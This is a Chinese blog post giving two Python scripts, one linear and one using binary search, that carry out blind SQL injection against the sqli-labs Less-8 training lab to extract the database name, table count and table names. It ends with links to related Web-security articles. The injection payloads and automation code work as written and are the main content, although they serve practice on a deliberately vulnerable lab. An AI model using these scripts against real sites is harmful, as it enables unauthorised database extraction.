基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)

简介: 基于 sqli-labs-Pass08,利用Python 实现 SQL盲注(含二分法)

一、SQL盲注脚本(普通版):

import requests
url = "http://9fe5aba4-b55b-49d8-af3e-795e070d0b23.node5.buuoj.cn/Less-8/"
#获取数据库名称的长度:
payload_len = "?id=1' and length(database()) = {n} --+"
def getLength(url, payload):
    length = 1
    while True:
        response = requests.get(url = url + payload_len.format(n = length))
        if 'You are in...........' in response.text:
            print('数据库名称长度为:', length)
            return length
        else:
            print('正在测试长度:', length)
            length += 1
    
#获取数据库的名称:
payload_str = "?id=1' and ascii(substr(database(), {n}, 1)) = {r} --+"
def getStr(url, payload, length):
    str = '' #初始表名/库名为空
    #第一层循环,截取每一个字符
    for i in range(1, length + 1):
        #第二层循环,枚举取字符的每一种可能性
        for j in range(33, 126):
            response = requests.get(url = url + payload_str.format(n = i, r = j))
            #页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str += chr(j)
                print('第', i, '个字符猜解成功:', str)
                break
    return str
#获取数据库名称信息:
#length = getLength(url, payload_len)
#database_name = getStr(url, payload_str, length)
#获取数据库下表的数量:
table_count = 0
for i in range(1, 100):
    payload_table_count = "?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = {n} --+"
    response = requests.get(url = url + payload_table_count.format(n = i))
    if 'You are in...........' in response.text:
        table_count = i
        break
    else:
        print('正在测试长度:', i)
print('数据库下表的数量为:', table_count)
#开始注出数据库下的表的信息:
#注出数据库下表的长度:
table_length = 0
for i in range(0, table_count):
    for j in range(1, 100):
        payload_table_length = "?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit {m},1))={n}--+"
        response = requests.get(url = url + payload_table_length.format(m=i, n=j))
        if 'You are in...........' in response.text:
            table_length = j
            break
        else:
            table_length += 1
            print("正在测试第", i + 1, "张表的长度,长度为:", table_length)
    print("第", i + 1, "张表的长度为:", table_length)
    #注出表名:
    table_name = ""
    for k in range(1, table_length + 1):
        for z in range(65, 127):
            payload_table_name = "?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit {p}, 1),{q},1)) = {r} --+"
            response = requests.get(url = url + payload_table_name.format(p=i, q=k, r=z))
            if 'You are in...........' in response.text:
                table_name += chr(z)
                print("第", i + 1, "张表的表名为:", table_name)
                break
        
    print("第", i + 1, "张表的表名为:", table_name)

二、SQL盲注脚本(二分法):

import requests
url = "http://9fe5aba4-b55b-49d8-af3e-795e070d0b23.node5.buuoj.cn/Less-8/"
#获取数据库名称的长度:
payload_len = "?id=1' and length(database()) = {n} --+"
def getLength(url, payload):
    length = 1
    while True:
        response = requests.get(url = url + payload_len.format(n = length))
        if 'You are in...........' in response.text:
            print('数据库名称长度为:', length)
            return length
        else:
            print('正在测试长度:', length)
            length += 1
    
#获取数据库的名称:
payload_str = "?id=1' and ascii(substr(database(), {n}, 1)) = {r} --+"
def getStr(url, payload, length):
    str = '' #初始表名/库名为空
    #第一层循环,截取每一个字符
    for i in range(1, length + 1):
        #第二层循环,枚举取字符的每一种可能性
        for j in range(33, 126):
            response = requests.get(url = url + payload_str.format(n = i, r = j))
            #页面中出现此内容则表示成功
            if 'You are in...........' in response.text:
                str += chr(j)
                print('第', i, '个字符猜解成功:', str)
                break
    return str
#获取数据库名称信息:
#length = getLength(url, payload_len)
#database_name = getStr(url, payload_str, length)
#获取数据库下表的数量:
table_count = 0
for i in range(1, 100):
    payload_table_count = "?id=1' and (select count(table_name) from information_schema.tables where table_schema='security') = {n} --+"
    response = requests.get(url = url + payload_table_count.format(n = i))
    if 'You are in...........' in response.text:
        table_count = i
        break
    else:
        print('正在测试长度:', i)
print('数据库下表的数量为:', table_count)
#开始注出数据库下的表的信息:
#注出数据库下表的长度:
table_length = 0
for i in range(0, table_count):
    for j in range(1, 100):
        payload_table_length = "?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit {m},1))={n}--+"
        response = requests.get(url = url + payload_table_length.format(m=i, n=j))
        if 'You are in...........' in response.text:
            table_length = j
            break
        else:
            print("正在测试第", i + 1, "张表的长度,长度为:", j)
    print("第", i + 1, "张表的长度为:", table_length)
    #注出表名:
    table_name = ""
    for k in range(1, table_length + 1):
        min = 33
        max = 126
        mid = (min + max) // 2     
        while min < max: 
            payload_table_name = "?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit {p}, 1),{q},1)) < {r} --+"
            response = requests.get(url = url + payload_table_name.format(p=i, q=k, r=mid))
            if 'You are in...........' in response.text:
                max = mid
            else:
                min = mid + 1
            mid = (min + max) // 2
        if mid <= 32 or mid >= 127:
            break
        table_name += chr(mid - 1)
        print("正在注出表名:", table_name)
    print("第", i + 1, "张表的表名为:", table_name)
相关文章
|
1天前
|
SQL 数据挖掘 Python
数据分析编程:SQL,Python or SPL?
数据分析编程用什么,SQL、python or SPL?话不多说,直接上代码,对比明显,明眼人一看就明了:本案例涵盖五个数据分析任务:1) 计算用户会话次数;2) 球员连续得分分析;3) 连续三天活跃用户数统计;4) 新用户次日留存率计算;5) 股价涨跌幅分析。每个任务基于相应数据表进行处理和计算。
|
1月前
|
SQL 机器学习/深度学习 数据库
SQL与Python集成:数据库操作无缝衔接
在开始之前,确保你已经安装了必要的Python库,如`sqlite3`(用于SQLite数据库)或`psycopg2`(用于PostgreSQL数据库)。这些库提供了Python与SQL数据库之间的接口。
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
116 5
|
2月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
84 3
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
61 5
|
27天前
|
SQL 安全 数据库
Python防止SQL注入攻击的方法
Python防止SQL注入攻击的方法
38 0
|
28天前
|
SQL 机器学习/深度学习 数据采集
SQL与Python集成:数据库操作无缝衔接2a.bijius.com
Python与SQL的集成是现代数据科学和工程实践的核心。通过有效的数据查询、管理与自动化,可以显著提升数据分析和决策过程的效率与准确性。随着技术的不断发展,这种集成的应用场景将更加广泛,为数据驱动的创新提供更强大的支持。
|
28天前
|
SQL 机器学习/深度学习 数据库
SQL与Python集成:数据库操作无缝衔接
1. Python与SQL集成的关键步骤 在开始之前,确保你已经安装了必要的Python库,如`sqlite3`(用于SQLite数据库)或`psycopg2`(用于PostgreSQL数据库)。这些库提供了Python与SQL数据库之间的接口。
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
108 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
46 1